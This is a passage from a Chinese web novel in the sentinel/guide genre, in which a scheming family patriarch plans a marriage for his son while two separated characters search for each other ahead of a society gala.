陆明远见到他这幅模样，语气更加冰冷：“原本看在你为了家族做了这么多事的份儿上，我答应把你那个疯疯癫癫的母亲的名字写进陆家的家谱，让她能迁入祖坟。” 他冷笑一声，语气刻毒，丝毫不像是在对待自己的儿子，倒像是对着一个仇人：“现在看来，你是不需要了。也好，省得让她这个疯婆子玷污了我们陆家祖地的清净，这个承诺，就此作罢！” 这句话，像一把淬了毒的匕首，狠狠扎进了陆厌离的心窝。 他猛得抬起头来，清澈的绿眸中波涛汹涌，一直压抑着的冰冷与讥诮迸射而出，直直看向陆明远。 “我还清了。”陆厌离哑着嗓子，浓稠的情绪在缓慢的字句中翻滚辗转，“欠了大哥和夫人的，我早就还清了。当以前的陆厌离在寂静星上彻底堕化为野兽的时候，我欠陆家的，就已经全部还清了。” 他的声音渐渐平静下来，目光毫不避让地与怒视着他的陆明远直直对上：“我陆厌离欠的人很多，但这其中，唯独不再欠你陆家的。” “至于我母亲，”他的嘴角勾起一个嘲讽的笑容，“你真的想过把她迁入陆家祖坟么？从你承诺我，让我去出最后一次任务，最后被联盟放逐，一直到现在……一年了，你但凡有一丝遵守承诺的念头，早该做了。何至于到现在还用这个来要挟我？” “陆明远，你这一生发过的誓言，作出的承诺，实现了几个？你以为现在还能用这些继续蒙骗我吗？” “你！”陆明远被他这一番能称得上大逆不道的话，气得气血翻涌，眸中的愤怒几乎喷薄而出。 在他的眼里，陆厌离一直都是一把十分好用的刀子，从十几年前开始，就一直被他牢牢控制在掌心，为陆家夺取了不知多少利益。 不论多么困难的任务、多么苛刻的条件，只要自己要求，陆厌离总能好好做到。可如今，这把浴火重生之后变得更加锋利的刀子，竟开始不听话了。 正当二人针锋相对，眼看着就要爆发更加激烈的争吵的时候，一阵急促的通讯音忽然从陆明远的终端里传了出来，打破了这一触即发的气氛。 陆明远动作一顿，狠狠瞪了陆厌离一眼，又瞥了一眼显示在终端屏幕上的来电人，这才深吸一口气强行压下了心头的怒火。 当他按下接通键，对面的人影被投射在手腕上空的时候，语气已经重新变得沉稳了起来：“王老，好久不见，这么晚联系我，是有什么重要的事吗？” 投影中显示出一个鹤发老人的身影，这是已经与陆家合作了将近十年的一个供货商家族的上代族长。 终端那头的老人一脸笑意，显然没有发现视频对面的气氛：“陆族长，没打扰你休息吧？哎呀，主要是听说陆贤侄从边缘星系的战场上凯旋归来了，真是恭喜恭喜！” 陆明远愣了一下，下意识看了陆厌离一眼。以往这些家族话事人，对于他家的这个儿子避之唯恐不及，从没有主动接近过。他不明白对方为什么会突然提起他，还在这么晚的时间段里专程发视讯过来。 “王老消息灵通，侥幸顺利而已，我家这个小子劳您挂心了。”陆明远客气应道。 “哎呀，这可不是侥幸！我家那个不成器的女儿今天从宴会上回来，可是对着我赞不绝口。”王老的语气里带着毫不掩饰的欣赏，“她可都跟我说了，令贤侄这一次不仅精神力完全恢复了，这天赋控制力也精进了不少，就连脾性也温和了许多，都是陆族长你教导有方啊！你们陆家，文有陆承，武有陆厌离，未来可期啊！” 陆明远听着对方的夸赞，嗅出了一丝苗头，却又有些不敢相信，只能先顺着对方的话头客套：“王老过誉了，他们两都还差得远呢，还需要多加磨练才行。” “陆族长你可太过谦虚了呀！”王老再次夸赞一句，这才进入了正题，“也不怕您笑话，我这个女儿啊，从宴会回来以后就一直缠着我，我也是被她磨得没办法了，这才厚颜联系你。我想冒昧地问一句，陆厌离贤侄……现在可曾有绑定的向导？” “绑定的向导？”陆明远的猜测成真，却更加惊讶了，目光再次投向前面面无表情凝视着他的陆厌离，转身远离了几步，“王老的意思是？” “哎呀！我这女儿不是刚好到了年纪了吗？她你也是见过的，虽说向导等级不高，只有C级，可性格活泼开朗，长的嘛，也还算标致。这不是赶巧了，刚好在今天的宴会上见到了令贤侄，一眼就相中他了。我想着，咱们两家也算是知根知底的，若是再来个亲上加亲，岂不更好？这才来问问你。”王老一副乐呵呵的笑模样，就好像在今日才知道陆家有这么个儿子，“不知是否有这个机会，让两个年轻人认识一下，交个朋友？” “相亲？”陆明远彻底愣住了，他的脑中飞快地闪过刚才王老的话，准确地抓住了几个关键词。宴会？完全恢复？精进了不少？余光再次扫向站在不远处的陆厌离，眼神中已经带上了审视。 结合王老这么晚了还迫不及待打来的这通电话，一个模糊的猜想在他的心中逐渐成型。 可陆明远是何许人也？心中的猜测没确定之前，他绝不会轻易应承任何事，落下别人的口实，一开口便是圆滑的敷衍：“哎呀，多谢王老的厚爱了。我这儿子确实还没有绑定的向导，不过他这才刚刚打完仗回来，之前也还没完全恢复好，此事……还要从长计议一下，我们也要考虑到孩子们自己的意思嘛。” 王老也是在这个圈子里摸爬滚打了几十年的人，闻言哪里还不知道陆明远的意思，这是要待价而沽了。顿时，话语中的热情就减退下去了几分，可仍是客气地与其寒暄了几句，这才好好地结束了通讯。 待陆明远挂断了王老的通讯，再看向陆厌离时，书房中的气氛已经悄然发生了变化。 他眯起眼睛，带着一种深沉的审视，上上下下打量着面前这个似乎有些陌生的儿子，正要开口，腕上的终端却再次震动了起来。 瞥见屏幕上显示出来的人名，陆明远的神情真正变得严肃了起来。 这次来电的，居然是一向只和明家合作的另一顶级家族——玛法家的族长。 通讯接通，这一次，对方的语气已经不像刚才的王老那般温和：“陆族长，你这回倒是因祸得福啊。” 一句话不客气地说完，对方也不等陆明远回话，直接切入了正题：“我们的时间都很宝贵，我就不拐弯抹角了。贵府三公子今晚的表现，实在令人印象深刻。我一直在为我家的独子寻找能匹配上他的高级哨兵。他从小天赋就高，如今也已经达到了B级，就是眼光一直太高，一直找不到合眼的哨兵。” “知道三公子如今的情况之后，他对贤侄十分感兴趣。如果陆家也有意的话，不妨安排个时间，让两个年轻人好好见一见。若是能成就好事，那我们两家就是真正的通家之好了。我相信在我们家族的帮助下，陆家也能更容易地登上联盟第四家族的宝座。” 听到这里，陆明远的心中一片火热！ 没有什么能比让陆家更上一层楼对他的诱惑更大！ 正要答复这位位高权重的玛法家主，终端再次鸣响了起来，又一个通讯申请接入了他的终端。 陆明远心中浮起一些预感，却并未表现出来，圆滑地暂时打发了玛法家主之后，匆匆调出申请界面看去。 果然，又是一位顶级世家的族老！ 陆明远没有急着接通，抬头看向已经皱起眉头向他看过来的陆厌离。 他对着陆厌离挥了挥手，声音中怒气不见，取而代之的是一种刻意放缓的安抚：“好了，今天你也累了，先回去休息吧。” 陆厌离抬眼，看了面前已然变了一副模样的陆明远一眼，没有任何表示，转身便踏着不急不缓的步伐离开了书房。 厚重的木门在身后闭合，再次响起的人声从大门背后隐隐约约飘了出来。 一直到一个多小时后，月上柳梢，书房中才再次安静了下来。陆明远挂断了最后一个通讯，手指无意识地在光滑的桌面上敲击着，眼神闪烁不定，眸中的光芒越来越亮。 通过这些络绎不绝接入进来的通讯，陆明远终于搞明白了现状。 原来如此！ 叶涟这个疯女人，总算还有点用，给他留下了一个好儿子啊！ 他这次从寂静星回返回来，不仅精神污染被清除了干净，竟然能够控制住他那身让人忌惮的毒素能力了！ 那如今他的价值可就不仅仅是一件强大的武器了，凭借着他的顶级天赋，足以为家族再次换来一个顶尖的合作者！ 只是他说过自己已经被别人绑定过了，这事有点麻烦…… 陆明远的眼中明明灭灭，可这点儿犹豫轻易便被更多的欲望和贪婪击碎。 反正对于他们这样的家族来说，是否是真的绑定又有什么关系呢？重要的是彼此捆绑起来的利益。如果他这次能听话，乖乖和自己选定的人结合，那大不了等找到了他的那个小向导，让他一辈子养在身边就是了。 相信未来的联姻对象也不会计较这些，或许有人能帮他为这个冷硬的小子疏导，对方还会更加高兴呢。 不过，在确定人选之前，还是不宜把他已经被绑定过的消息透露出去。 陆明远短促地笑了一声。 就是现在这小子明显已经不听话了，有点麻烦，还是得想点办法让他乖一点。 陆明远的指关节在靠椅扶手上“咚咚咚”地敲击着，脑海中思绪急转。 片刻后，一把拍上扶手，迅速从书桌里取出一个加密通讯器，拨出了一个号码。 “是我。”他沉声吩咐道，“之前让你们去找老三口中的那个小向导，现在情况怎么样了？” 不知通讯器的那头说了什么，陆明远的表情阴沉下来：“一群废物！都这么久了，连一个小向导都找不到！别一直在空港那里蹲守了！都这么长时间了，那人要来早来了！立即给我加派人手，从老三被放逐到寂静星以后开始查起，给我把这个人找出来！” “……对，其他的事先放放，把这件事给我提到最高优先级！”陆明远思忖片刻，接着道，“另外，查到之后，就把这个人存在过的所有痕迹都给我抹干净，一点儿不留。特别是他和老三接触过的信息，全都给我销毁！” “另外，”他再次顿了顿，声音压得更低，“向外放出一个消息，就说老三现在的状态非常好，毒素天赋也能完全控制住了。但是到现在为止仍没有绑定的向导，陆家如今有意为他挑选优秀的向导结合。后天之前，我要这个消息传进中央星所有顶级家族的族长耳朵里，明白了吗？” 挂断了通讯，陆明远再次走到窗前，看着窗外繁茂的庭院，嘴角终于勾起了一丝满意的笑容。 第154章 走出那间令人窒息的书房， 陆厌离站在庭院中，深深吐出一口气，任夜风瞬间席卷， 驱散他身周那层沉闷的气息。 回头看去， 身后那栋庞大的宅邸灯火通明， 陆厌离却觉得它像是一头贪婪的巨兽，将走入其中的人们一点一点吞噬殆尽，尽数变得面目全非。 方才父亲接到的那几个通讯， 每一个他都听得一清二楚， 眼见着对方的神情从暴怒渐渐转变成贪婪与算计，那些看似安抚的话语，就像是一把把冰冷的利刃，即使他早已不再对他抱有期待，麻木的心仍被扎得刺痛不已。 陆厌离自嘲一笑，也许正因如此， 父亲才能够以一个普通人的身份， 打败所有天赋高超的叔伯， 登上陆家家主的宝座，又一路将家族推到如今的位置。 自己终究做不到像他那样， 将身边的一切都无情地利用殆尽。 陆厌离最后望了一眼这个束缚了他整个前半生的华丽牢笼，转身， 再不迟疑地踏出了大门。 * 第二天一早，用过早餐， 陆厌离便驾着车子出门，出现在了威尔逊将军家别墅的门外。 威尔逊将军常年驻扎在M80星系镇压第八军团所属的边缘星域，但由于将军夫人的工作在中央星上，所以每次抽空回中央星时， 他都会放下手中的事务，专心陪在夫人身边，享受二人世界。 这一次，威尔逊将军也是因为时近年底，需要回来述职，再加上不放心陆厌离的事，这才提前了一段时间回来。 威尔逊将军在中央星的住处不算太大，也并无仆从，这会儿只有一位常年跟在他身边的护卫兵在门口充当守卫。 经过通报后，陆厌离很快便站在了威尔逊将军家的门厅里。 “呦！让我看看，是谁这么一大早地就来找我了！” 远远地，一阵带着笑意的声音便从楼上传了下来。陆厌离一抬头，便看到了身着一身居家服，在夫人的陪同下走下楼来的威尔逊。 “将军，夫人！冒昧打扰了！”陆厌离歉意地对着面前这对伉俪微鞠一躬。 话音未落，便被威尔逊在背上拍了一巴掌，按进了客厅的沙发里。 “行了行了，现在又不是在军中，我们两个都在休假呢，就别跟我来那一套了。”威尔逊拉着身旁的夫人，大刀金马地往陆厌离对面的沙发上一坐，打量着眼前这个面色似乎有些不同的下属，有些兴味地挑了挑眉，“这么早来找我，怎么了？有事？” 陆厌离坐在柔软的布艺沙发上，抿了抿唇，似乎有些难以启齿，迟疑了片刻，才开了口，目光却是看向坐在威尔逊身边的莱娜夫人：“其实我这次来，不是找将军您的，我是来找莱娜夫人的。” 本只是来作陪的莱娜夫人一楞，扭头看了威尔逊一眼，虽然不知道丈夫这位年轻下属为什么来找自己，还是温和地应了声：“是陆厌离少将吗？找我有什么事？” 陆厌离对着莱娜郑重行了一礼：“夫人，我想请您帮个忙。” “帮忙？我？”莱娜夫人疑惑地看了看面前的年轻将军。 “哦？什么忙？说来听听！”威尔逊此刻彻底被吊起了兴趣，自己手下这位陆家三子，过去一直任劳任怨地到处打仗做任务，几乎从没有过自己的个人生活。这一次堕化又恢复了过来，才总算活得稍微像个人了。不过，除了一直要找那个据说救了他的小向导，也没见过他有什么别的私人请求，不知道今天来找他的夫人是为了什么。 “之前听将军提起过，夫人是星联通讯网的主编，我想……”陆厌离有些迟疑，被衣领遮住的颈子有些发烫，“我想拜托您，通过通讯网帮我发布一则寻人启事。” “寻人启事？”莱娜夫人疑惑地扭头看了一眼威尔逊，不知道这是个什么状况。据她所知，面前这位陆厌离少将，可是中央星上炙手可热的陆家三少爷，他们家手下掌握的各类媒体、势力，不知比自家强上了多少倍，怎么会专门跑来拜托她帮忙？ 而威尔逊一楞之后，却是马上明白了过来，但他也不会随意泄露自己下属的隐私，即使是在自家夫人面前也是如此，于是只是含糊地问道：“是找你之前一直在找的那个人？” “对！” 见丈夫一副知道内情的模样，莱娜也没有多问，答应了下来：“当然可以，我们通讯网上也是有广告位的，由我来操作还可以给你拿个内部价。”莱娜小小地开了个玩笑，对着陆厌离眨了眨眼，让他更加放松下来，“你是想用什么形式发布？由你来描述，我帮你撰写？还是别的？还有什么要求吗？” “嗯……用视频片段就可以，只有一句话，我已经录制好了。”陆厌离深吸一口气，耳根微微泛起一丝红晕，在上司的面前努力维持着正经的表情，“其他的没有什么要求，就是，我希望发布的范围可以大一些，至少要覆盖整个中央星系在内，费用的话，不是问题。” “就一句话？”威尔逊觉得自己有些跟不上年轻人的思路了，“你找了那么久都没找到，凭一句话就能找出来吗？” 陆厌离肯定地点了点头：“就一句话就可以，只要他看到了，就一定知道是我。之后不管他愿不愿意来找我，我都接受……” 说着说着，情绪有些低落了下来，嘴唇抿成了一条苍白的直线。 威尔逊看着他这幅前所未见的模样——时而期盼，时而害羞，时而失落，虽然不知道他说到最后为什么有些悲观，还是由衷地为他重新找回了属于自己的各种情感而感到高兴。 至于这段辛苦寻找的结果如何，他已经觉得不再重要了，能在年轻时为了自己想要的东西拼一把，绝对是直到老去也不会后悔的事。 威尔逊看了自家夫人一眼，略点了点头。莱娜得到丈夫的肯定，这才痛快地应了下来：“行！没有问题，你把视频发给我吧。” 见两人没有深究下去，陆厌离忙抬手，将自己提前录制好的视频发送给了莱娜夫人。 看着对方接收视频，并点开来查看，陆厌离脸颊的温度不禁随着播放出来的声音，越来越高。 威尔逊将军此时也好奇地凑了过去，短短几秒钟的视频播放结束后，威尔逊将军先是愣了几秒，随即，猛地爆发出了一阵洪亮的大笑。 陆厌离看着威尔逊笑得直拍大腿，而莱娜夫人也开始忍俊不禁，头越发低了下去，强自绷着脸眼神飘忽着，根本不敢去看自家上司。 之后，还是稳重的莱娜夫人在威尔逊身上捏了一把，这才止住了他的大笑。 “好啦，视频没有问题，你对播放时间有要求吗？”莱娜夫人含笑问道。 “越快越好。”陆厌离此时也顾不上尴尬，忙回道。 “行！后面的事就由我来帮你处理，一定把这条讯息尽我所能地传播到更广的范围里。”说着，莱娜就抬起了终端，开始联系起自己相熟的几位媒体负责人。 几个通讯下去，便将这件事安排妥当。 “好了，搞定了。”莱娜挂断通讯后，看向陆厌离，眼神里还带着未尽的笑意，“这种小插播，排期很快的，基本都会在一周内给你安排上。到时候，那边会联系你确认具体细节和费用。” 听到这里，陆厌离微微松了口气，诚恳地站起身来，向着威尔逊夫妻二人行了一礼：“多谢将军，多谢夫人。” “这有什么好谢的，一个通讯的事。”威尔逊摆了摆手，走到他面前，拍了拍他的肩膀，笑意渐渐平息，语气认真了些，带着长辈的调侃和一些不易察觉的关怀，“看到你现在这样，我真的很高兴，等你找到了他，一定要带过来给我看看。是什么样的人把我们冷酷的联盟之星变成了这样！” 陆厌离沉默了片刻，绿色眼眸悠远绵长，其中掠过许许多多复杂的情绪，似乎又回想起了久远的过去。他的唇边绽开一个极其柔软的小小笑容，点了点头，声音很轻，却带着十足的坚定。 “我会的，我一定会找到他的。” * 另一头，上层人士之间的波谲云诡暂时还没有影响到圣所。 研修班中的课程按部就班地进行，随着时间的推移，没有新的消息传出来，关于那位“新的S级向导”的讨论渐渐平息了下去。新的热点又将众人的目光吸引到了其他的方向。 夜幕降临，华灯初上，江寻重新换上那身不起眼的深色衣物，这次连领口的盾徽都摘了下来，戴上兜帽，悄无声息地融入了流向黑街的人潮中。 再次来到黑街东区，却发现这里的气氛似乎与以往有了少许不同。来来往往的汉子更多了，整体的气势也比之前提升了一截，连带着从外部一路通往曲绍那座小楼之间的几个哨岗，都比以往森严了许多。 几次来往，早已熟悉，江寻自然不会被拦住，一路畅通无阻地走到了小楼外围，正要走近，门口那扇厚重的大门突然从里面被推开了。 随即，一个有些眼熟的身影从中走了出来。 即使隔了一段距离，对方也同样做了些遮掩，可江寻还是一眼便认出了那头在夜光下闪耀着冰蓝光泽的头发——是洛伦茨。 他怎么会在这里？江寻脚步一顿，下意识地一侧身，隐入了旁边窄巷的阴影里。 洛伦茨并未察觉到什么，出了大门重新戴上了帽子，围上了厚重的围巾，低下头便脚步快速地向前疾走，很快便消失在了错综复杂的小路尽头。 江寻慢慢从阴影中走了出来，看着洛伦茨消失的方向，又回头看了看重新闭上大门的曲绍小楼，目光中闪过一丝疑惑。 心中掠过几个猜测，但此时，江寻也没有去深究。他今天来此的目的并不是这个。 几步走到小楼大门前，他曲指敲响了刚刚关上的铁门。 “又怎么了？都给你说过了我们就知道这些……”听到敲门声，一个声音骂骂咧咧地由远及近，猛地一下子拉开了大门。那副不耐烦的表情在看到门口的江寻时瞬间化为了惊喜。 “希先生！是您！”来人说着，连忙大开了正门，一边拉着江寻的手臂向里面引，一边高声朝里吆喝了一声：“希先生来了，快去告诉老大！” 从大门走到小楼的房门口这几步的距离里，整个小楼里的气氛就肉眼可见地高涨了起来，许多之前只在曲绍身边见过一面的汉子，纷纷从不知名的地方冒了出来，热情地向着江寻打起了招呼。 还没等他们走到小楼门前，便有一个豪爽的声音哈哈大笑着，呼地一下打开了房门——正是这里的主人，黑蝎曲绍！ “希先生，您可算是来了！”曲绍那双虎目中迸发出惊喜的光芒，一把从前方引路的小弟手中接过了江寻，一侧身，半扶着他就拉着走进了房门，语气热络非常。 直到将江寻按到了厅中的座椅上，又吩咐人上了茶点，这才把其他人都挥退了下去，重新在大厅中央坐了下来。 一开口，便是半真半假的抱怨：“希先生，您瞒得我好苦啊！谁能想到，咱们这小小的黑街里，居然隐藏了一位已经踏上寻道之路的真正的S级向导！” 他一边说，一边仔细观察着江寻的表情，试图从这位突然变得高不可攀的希先生面上，找出些许变化来。 直到看着江寻依然是以往那般平静温和的模样，脸上的笑意才渐渐变得真切了起来。 “抱歉，其实我自己也不知道会走到这个地步，我刚刚来到这里的时候，确实只有B级高阶的实力而已。而且您知道，在黑街这地方，暴露太多对我也不太安全，并非有意欺瞒，希望曲老大见谅。”江寻对于曲绍这位真性情的朋友还是很看重的，第一时间向他道了歉。 “哈哈哈！瞧您说的，能让希先生拿我当朋友，是我曲绍的幸运才是。”曲绍的心情放松下来，这才恢复了往常的态度，“希先生从上次爆炸事件之后就一直没有出现过，是怕麻烦吧？今天来，是有什么事要找我吗？” 江寻也没有绕圈子，直接说明了来意：“这次来，是想拜托曲老大帮我打听一件事。” “哦？”曲绍感兴趣地看向江寻，“什么事？希先生说来听听？” “不知曲老大知不知道最近刚刚回归中央星的那位陆厌离少将？”江寻认真问道。 “陆厌离？”曲绍的手一顿，随即答道，“当然知道，这位陆少将之前的名声只在军方内部流传，但从传出他彻底堕化的消息之后，事迹便在整个联盟里流传了开来，特别是这一次回归，不知道当时有多少人专门前来咱们中央星，只为在空港上看他一眼，可以算是最近一段时间众人热议的焦点了。” 想了片刻，曲绍突然又想起了什么，迎向江寻的视线：“对了，之前您拜托我调查的在空港那里蹲守您的，就是这个陆厌离少将家族的人。” “对，就是他。”江寻点了点头，肯定了曲绍的猜测。 迎着曲绍带着些探究的目光，江寻再次问道：“我想知道，有没有什么途径，可以不经过陆家，见到陆厌离少将本人？” 曲绍眼中闪过一丝诧异，放下手中的茶杯，身体微微前倾：“陆厌离少将？您想见他？这……” 他沉吟片刻，一边回忆着听说过的信息一边组织着语言：“陆厌离少将在中央星似乎没有私人宅邸，一般都是住在陆家的，他的私人行程也没人知道。要绕过陆家人的视线私下见到他，难度恐怕不小啊……” 他顿了顿，试探地问：“我能不能冒昧地问一句，您想见陆少将，是……” “他是我的一位故人，找他有些私事。”提起陆厌离，江寻的眉眼有些柔软了下来，尽数被曲绍看在了眼里。 故人？曲绍看着江寻的模样，脑中开始飞快转动起来。一位隐藏着的S级向导，一位奇迹般从堕化中重新活过来的S级哨兵……之前他从没将这两者放在一起思考，此时听到江寻口中所说的“故人”二字，他几乎瞬间便将那位陆少将的突然康复与眼前这位能力非凡的“希先生”联系了起来。 但他一向是个聪明人，见江寻没有细说的意思，便立刻打住了话头，面上露出一个笑容：“行！既然您能开口找我曲绍帮忙，那我必定尽力去办！给我点时间，我派人去调查一番，看看能不能打听到一些陆少将的私人行程，或者其他的门路。” 曲绍满口应下此事，此时更是对一开始就与这位希先生交好庆幸不已。看这情形，他不仅仅是交好了一位前途远大的S级向导，更是与大名鼎鼎的联盟之星搭上了关系。 若是这两位今后能走得顺利，那他这个一直蜷缩在黑街里发展的地下老大，说不定也有再次突破的机会。 无论如何，这件事他定会好好地办得漂亮！ “多谢。”得到曲绍的应允，江寻郑重地致了谢。 此时正事谈完，两人放松下来闲话最近几日黑街这边的状况，江寻这才想起了刚才见到的一幕，看了看曲绍，便直截了当地问了出来：“曲老大，刚才我来的时候，正好看到一个人从你这里离开，一头银发的年轻男人，个子很高。” 曲绍听到江寻的问话，愣了一下，随即恍然：“哦，您说那个年轻的哨兵啊？是啊，刚走没多久。” “曲老大认识他吗？他是来？”江寻实在没法将洛伦茨和曲绍这两个八竿子打不着的人联系在一起。 “不，我们互不相识，”曲绍叹了口气，语气里带着点烦恼，摇了摇头，“不瞒您说，自从上次的爆炸事件之后，咱们黑街这边出了个S级向导的消息就传遍了。” 曲绍看了江寻一眼，接着说道：“之后您一直没过来，诊所那边也暂时歇业了，所以好多想要打听您信息的人，最后都找到了我这里。刚才的那位，也是其中之一。” 江寻一楞，没想到原来和自己有关系，连忙不好意思地向曲绍道歉：“抱歉，是我只想着自己躲麻烦，没考虑到您这边，给曲老大添麻烦了。” 曲绍豪爽地摇了摇头：“这没什么，对我也是好事。因为知道我和您这位S级向导有交情，来打听消息的人态度都不错。不过……”曲绍忽然有些迟疑地看向江寻，“这些人里面，有一些我实在得罪不起，所以透漏了一些希先生您来黑街之后的事情，这……希望您不要生气。” 江寻摇了摇头，认真道：“这些本来就是我带来的麻烦，曲老大没有怪我就好了，我怎么会去反过来怪罪您。只是一些稍微调查一下就能从大家口中知道的事，不碍事。” 曲绍放下心来，这才接着道：“我也不会对寻常人随意透露您的消息，但这位的实力实在很强，我手下的弟兄们根本拦不住，我只能亲自去会了会他。好在他还算守规矩，见到我以后，也算客气，我就干脆将一些寻常的信息告诉了他，打发他走了。” 说到这里，曲绍疑惑地看向江寻：“希先生，您突然问起他来……莫非是您认识的人吗？” 洛伦茨也在打听关于“希先生”的事？ 江寻脑中心念一转，已经大概明了了洛伦茨的想法。 释怀一笑，他还在担心，自己这样一直让洛伦茨替他分担来自其他哨兵的压力，又不打算和他真正接触下去，是不是有些过分。 此刻发现，原来对方也没有自己表现出来的那么认真，心中也算是放下了一些负担。 对着曲绍摇了摇头，便岔开了话题。 又闲话了片刻，见外面夜色已深，江寻也不再多留，再次向曲绍致谢之后，便起身告辞而去。 这一头布置完毕，江寻松下口气来，但仍不能完全放心。 陆厌离身在军部，不知什么时候就又会接到任务奔赴下一个战场，他必须在这段窗口期内成功见到他，确认他的身份才行。否则，这一次再错过，下一次又不知要等到何时了。 江寻思忖片刻，压了压兜帽，加快了脚步，身影迅速消失在了黑街曲折的巷道深处—— 作者有话说：猫猫登报找人，嘻嘻嘻[狗头叼玫瑰] 第155章 两日后， 军部大楼，第八军团办公室。 陆厌离敲响厚重的木门，听到门内传来一声“进来！”， 这才推门而入。 门内， 威尔逊将军正将带有军团徽章的正式军礼服脱下， 挂在一旁的衣架上。 他刚刚结束了今年的述职会议回来，面上显得有些疲惫，还残留着几分不耐的神色， 但一见到陆厌离进来， 眼神又重新锐利了起来。 “来了，坐。”威尔逊指了指办公桌前的椅子，一边摇晃着脖子解开束缚了他一早上的衣领，一边绕到了办公桌另一边，率先坐了下来。又揉了揉已经开始发酸的脖颈，对着陆厌离吐槽道：“刚刚跟上面那帮老家伙们扯完皮， 真是比打了一场仗还要累， 那群连枪都没开过的老学究知道个屁！跟他们交流起来简直费劲！” 陆厌离默默坐下， 没去琢磨自家长官口中的老家伙们都是谁，只是等待着威尔逊的下文。他清楚对方不会无缘无故地把他叫过来。 威尔逊抱怨了几句， 抬手从终端中调出了一份电子邀请函，将内容投射到空中， 放大让陆厌离看去：“喏，刚刚在会议上敲定下来的， 今年的‘星辉盛宴’，时间定在下周末举行。” “星辉盛宴？”陆厌离微微一怔，目光扫过那印有“塔”的独特徽章的邀请函。 他当然知道这个宴会，由塔主办， 每年年底举行的最盛大的哨向聚会，用以表彰当年对联盟和塔组织做出重大贡献的哨兵向导。同时，也是圣所当年度中，评选出来的最优秀的新人首次踏入上层圈子的重要窗口。 每年都有身世不显，却惊才绝艳的精英从这个宴会上崭露头角，从此踏上自己光辉远大的未来。 可以说是塔在年底最重要的一项活动了。 当然，以往，从没有人会给他发放邀请函，他也从没想过去参加。 威尔逊向后靠进椅背中，双手合十撑在桌上，看向陆厌离：“对，你没看错，今年，你的名字也在邀请函上，叫你来就是通知你，这次跟我一起去。” “你应该知道，这个宴会明面上说是为了表彰，实际上最大的作用还是给上面那帮人吸收新血。”威尔逊冷哼了一声，略带嘲讽，“一个个的，自己家里砸了不知多少资源都培养不出来几个能用的人，眼睛长在头顶上了，还要跑来和我们抢这些他们平日里根本看不上的平民精英，哼！” 他的目光落在陆厌离身上，表情认真：“我们这些常年驻扎在外域的军团才是最需要人才补充的地方！这些从圣所中经过严格系统化的培养，教育出来的精英，可和我们在外域里招募的那些不一样，都是真正有潜力的好苗子。” “但是说实话，咱们这种对外开拓军团，论起履历含金量和福利待遇，实在没法和议会、塔与各大家族比，就算我每年都豁出老脸和他们掰扯，也只能捡人家挑剩下的回去。”威尔逊叹了口气，摇了摇头。 “趁着最近你的风头正劲，好好收拾一下，跟我一起去。”威尔逊的脸上露出一抹略带狡黠的微笑，隔空点了点陆厌离，“你这么大一个S级哨兵，如今在年轻一代里的崇拜者又这么多，本身就是一块儿最好的活招牌。你在星辉盛宴上的首秀，绝对能吸引到不少目光，帮我们招揽更多的人才。” 陆厌离听着，明白了威尔逊的意思，略作斟酌，点头应了下来。 “是，将军，我明白了。”若说是为了别的事，他或许不会去，可这是为了给军团募集新血，这本就是一个高级将领应该做的事，他责无旁贷。 威尔逊对他的反应很满意，这就是他欣赏陆厌离的地方。不管他自己喜不喜欢，只要是合理的，确实需要去做的任务，他便会好好地接受，并全力以赴地去做到。任何长官都会喜欢这样的下属。 “邀请函与具体的安排，我待会儿发到你的终端。回去好好准备下，着装你懂的，”威尔逊对着陆厌离挤了挤眼睛，“把你们陆家的家底借给军团使使，怎么威风怎么好看，就给我怎么穿，把你这张脸好好利用起来！” 陆厌离看着瞬间又变得不正经的长官，无奈地应声：“是。” “行了行了，不耽误你了，去吧。到时候收拾好，等军部的车来接。”威尔逊说完了话，便利落地向着陆厌离挥了挥手，同时，另一只手上已经拿起了文件，低头看去。 陆厌离见状，起身行礼，随即转身，离开了办公室。 * 与此同时，哨兵岛外城公寓中。 江寻刚刚结束了一天的疲惫回到家，腕间终端就是一震，一条短讯被发送了过来。 他心有所感，低头一看，果然，发信人：曲绍。 【希先生，您让我调查的事情有眉目了，方便时请来一见。】 江寻一喜，立刻回复了过去，也顾不上休息了，将感应板与书本往桌上一放，换好衣服，便再次出了门。 秋末的天色暗得很快，就这么一个进门出门的工夫，外间的光线又暗了几分。江寻裹好兜帽，匆匆隐入了人流中，向着黑街走去。 一路顺利地来到了曲绍面前，便被他迎进了里间。 曲绍示意江寻坐下，又亲自斟了杯热饮向着江寻推了过去，面上的神色却有些奇怪，看起来有点为难的样子。江寻一眼看到，心中微微沉了沉，立即问道：“怎么了，曲老大，是调查的时候出什么问题了么？” “不不！”曲绍忙摇了摇头，知道江寻是误会了，忙解释道，“希先生，您之前托我帮您打听的陆少将私人行程的事，有进展了，我们正好查到一桩大事，就赶快请您过来了。” 江寻接过曲绍推过来的杯子，也不饮用，点了点头，示意曲绍继续讲。 “不知道您听说过‘星辉盛宴’吗？”曲绍看向江寻问道。 江寻的目光微动，星辉盛宴？这个名字他好像有点印象。 又仔细回忆了一下，才从记忆的角落里翻出了关于这个宴会的片段。 “是塔每年组织的那个表彰会吗？”江寻迟疑着问道。 “对，就是那个！”曲绍点头肯定，“但还不止，那也是许多平民哨向一步登天的关键机会，上层圈子里每年一度的盛事之一。” 听到这里，江寻有些明白曲绍想说的了：“您是说……” “没错，今年的‘星辉盛宴’时间定了，就在下个周末。”曲绍肯定了江寻的猜测，又继续说：“其实本来这个宴会和陆少将没什么关系的。我的人调查了以往的记录，发现陆少将以前从没参加过这种大佬云集的聚会。原因嘛，您懂的，大佬们各个都金贵得很，没人敢冒着生命危险让他过去。” “但是今年，情况有所不同了。”曲绍身体前倾，声音压低：“现在有消息传出来，说他这次康复回来之后，对天赋的控制力更上一层楼，如今已经可以正常进行社交活动了。再加上他最近的行程和与第八军团的关系，我们的线人判断，这一次的宴会，他极有可能会出席！” “而且……”曲绍脸上露出一丝古怪，有些犹豫地继续说道，“我们的人还调查到，今年有许多等级不低的适龄世家向导，都提前放出了风声，要去参加这次的宴会，数量比往年足足多了三成。” “您知道的，这种年轻哨向云集的地方，本来就有一定的相亲属性。这次一下子冒出这么多向导，许多人都说，他们八成是冲着陆少将去的。一个没有绑定向导，实力顶尖，家世也顶尖的S级哨兵……现在可是块人人眼馋的香饽饽。”曲绍摇了摇头，“好多人连匹配度都不管了，只想着抢得先机，让自家的子弟与陆少将扯上关系再说，恐怕今年的星辉盛宴上，情况会非常复杂。” 说完探听到的消息，曲绍脸上又露出了那种为难神色：“希先生，我的人虽然把消息打听出来了，但是……实话说，以这个宴会的级别，凭我的门路，要弄到它的正式邀请函，很难。特别是今年……” 